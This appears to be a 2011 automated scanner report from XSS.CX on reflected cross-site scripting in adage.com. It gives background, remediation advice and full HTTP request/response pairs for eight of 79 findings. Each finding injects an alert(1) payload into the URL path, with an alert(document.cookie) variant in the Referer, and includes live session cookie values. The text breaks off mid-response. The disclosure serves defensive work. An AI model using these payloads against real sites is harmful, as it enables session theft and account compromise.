XSS, Cross Site Scripting, DORK, adage.com, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 08:59:18 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://adage.com/css/style.css [REST URL parameter 1]

1.2. http://adage.com/css/style.css [REST URL parameter 2]

1.3. http://adage.com/favicon.ico [REST URL parameter 1]

1.4. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 1]

1.5. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 2]

1.6. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 3]

1.7. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 4]

1.8. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 5]

1.9. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 1]

1.10. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 2]

1.11. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 3]

1.12. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 4]

1.13. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 5]

1.14. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 1]

1.15. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 2]

1.16. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 3]

1.17. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 4]

1.18. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 5]

1.19. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 1]

1.20. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 2]

1.21. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 3]

1.22. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 4]

1.23. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 5]

1.24. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 1]

1.25. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 2]

1.26. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 3]

1.27. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 4]

1.28. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 1]

1.29. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 2]

1.30. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 3]

1.31. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 4]

1.32. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 1]

1.33. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 2]

1.34. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 3]

1.35. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 4]

1.36. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 1]

1.37. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 2]

1.38. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 3]

1.39. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 4]

1.40. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 1]

1.41. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 2]

1.42. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 3]

1.43. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 4]

1.44. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 1]

1.45. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 2]

1.46. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 3]

1.47. http://adage.com/images/bottom/menus/global_news.png [REST URL parameter 4]

1.48. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 1]

1.49. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 2]

1.50. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 3]

1.51. http://adage.com/images/bottom/menus/hispanic_marketing.png [REST URL parameter 4]

1.52. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 1]

1.53. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 2]

1.54. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 3]

1.55. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 4]

1.56. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 1]

1.57. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 2]

1.58. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 3]

1.59. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 4]

1.60. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 1]

1.61. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 2]

1.62. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 3]

1.63. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 4]

1.64. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 1]

1.65. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 2]

1.66. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 3]

1.67. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 1]

1.68. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 2]

1.69. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 3]

1.70. http://adage.com/power150/badge-generate.php [REST URL parameter 1]

1.71. http://adage.com/power150/badge-generate.php [REST URL parameter 2]

1.72. http://adage.com/scripts/aa-jquery.js [REST URL parameter 1]

1.73. http://adage.com/scripts/aa-jquery.js [REST URL parameter 2]

1.74. http://adage.com/scripts/javascript.js [REST URL parameter 1]

1.75. http://adage.com/scripts/javascript.js [REST URL parameter 2]

1.76. http://adage.com/scripts/jquery.onefblikev1.1.js [REST URL parameter 1]

1.77. http://adage.com/scripts/jquery.onefblikev1.1.js [REST URL parameter 2]

1.78. http://adage.com/scripts/lib.js [REST URL parameter 1]

1.79. http://adage.com/scripts/lib.js [REST URL parameter 2]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 79 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://adage.com/css/style.css [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /css/style.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a09c5"-alert(1)-"c6afd8f595c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssa09c5"-alert(1)-"c6afd8f595c/style.css?1300132480 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=CAD39045EBC44F7BC33BC6C1B8B70C84192D4F61; path=/
Set-Cookie: HMAC=687EAE127ED8870AD68F0D859B87CAF033222CE8; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33828

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
x.vpc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300132480";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/cssa09c5"-alert(1)-"c6afd8f595c/style.css"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft=
...[SNIP]...

1.2. http://adage.com/css/style.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /css/style.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15d2a"-alert(1)-"7f2d5ee1944 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/style.css15d2a"-alert(1)-"7f2d5ee1944?1300132480 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F9FEC962CDE43995EEE4EA429DF8B3496697AE54; path=/
Set-Cookie: HMAC=071415F7A0FD0F2CD04612F053FFC166748B021F; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33828

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300132480";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/css/style.css15d2a"-alert(1)-"7f2d5ee1944"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.3. http://adage.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a219"-alert(1)-"4695d2d5290 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /favicon.ico3a219"-alert(1)-"4695d2d5290 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012; __utmz=1.1300304986.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/42; __utma=1.649049434.1300304986.1300304986.1300304986.1; __utmc=1; __utmb=1.1.10.1300304986; OAX=rcHW802BFGEABn1D; __qca=P0-809730519-1300304988890; CP=null*

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:41 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=0AB6CD45310402A3A78238250BA8CC9E2C252156; path=/
Set-Cookie: HMAC=5CE700C48F1CA60A3EEE0953F73B8D2815A2B7F2; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33929

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.vpc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/favicon.ico3a219"-alert(1)-"4695d2d5290"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.4. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1cc5"-alert(1)-"d26749ddbaf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesf1cc5"-alert(1)-"d26749ddbaf/bin/image/rightrail/adage-outlook-iphone02-rr.jpg?1282248160 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E57CF9352678330B371DE70FBDE959B4137BEF35; path=/
Set-Cookie: HMAC=D27117F1E93F09FB8C85E130348DA26A569BDC8E; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33871

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1282248160";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesf1cc5"-alert(1)-"d26749ddbaf/bin/image/rightrail/adage-outlook-iphone02-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.
...[SNIP]...

1.5. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1b5f"-alert(1)-"5e2843897df was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bind1b5f"-alert(1)-"5e2843897df/image/rightrail/adage-outlook-iphone02-rr.jpg?1282248160 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:11 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=42702E38189FEAC6F21F47A012A590450D54C612; path=/
Set-Cookie: HMAC=2041BF53C6A539247B54A5A21571C2501B9C4639; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1282248160";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bind1b5f"-alert(1)-"5e2843897df/image/rightrail/adage-outlook-iphone02-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="
...[SNIP]...

1.6. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 24db7"-alert(1)-"6856e63e2ac was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image24db7"-alert(1)-"6856e63e2ac/rightrail/adage-outlook-iphone02-rr.jpg?1282248160 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:26 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=BCA7FFDC6C048E6199FDA81F45362B9F939AFF4E; path=/
Set-Cookie: HMAC=687CB51100FC2E5901E7A284FBEA29DF330C3A21; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1282248160";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image24db7"-alert(1)-"6856e63e2ac/rightrail/adage-outlook-iphone02-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
...[SNIP]...

1.7. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22612"-alert(1)-"529ce1fafb8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrail22612"-alert(1)-"529ce1fafb8/adage-outlook-iphone02-rr.jpg?1282248160 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=31C5FFA50F6937446FA00B9B70DBEBB5420C431F; path=/
Set-Cookie: HMAC=926C241BF1210635B90C81541BA0FE861ADD660D; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1282248160";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrail22612"-alert(1)-"529ce1fafb8/adage-outlook-iphone02-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="
...[SNIP]...

1.8. http://adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8a8ad"-alert(1)-"21818080a72 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg8a8ad"-alert(1)-"21818080a72?1282248160 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=45B853001256A8E6F8E786020D9DF9A20CB2BB94; path=/
Set-Cookie: HMAC=41992C90F06CE987808DA485CC388EF192D5B9A1; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
NFIGURATION VARIABLES
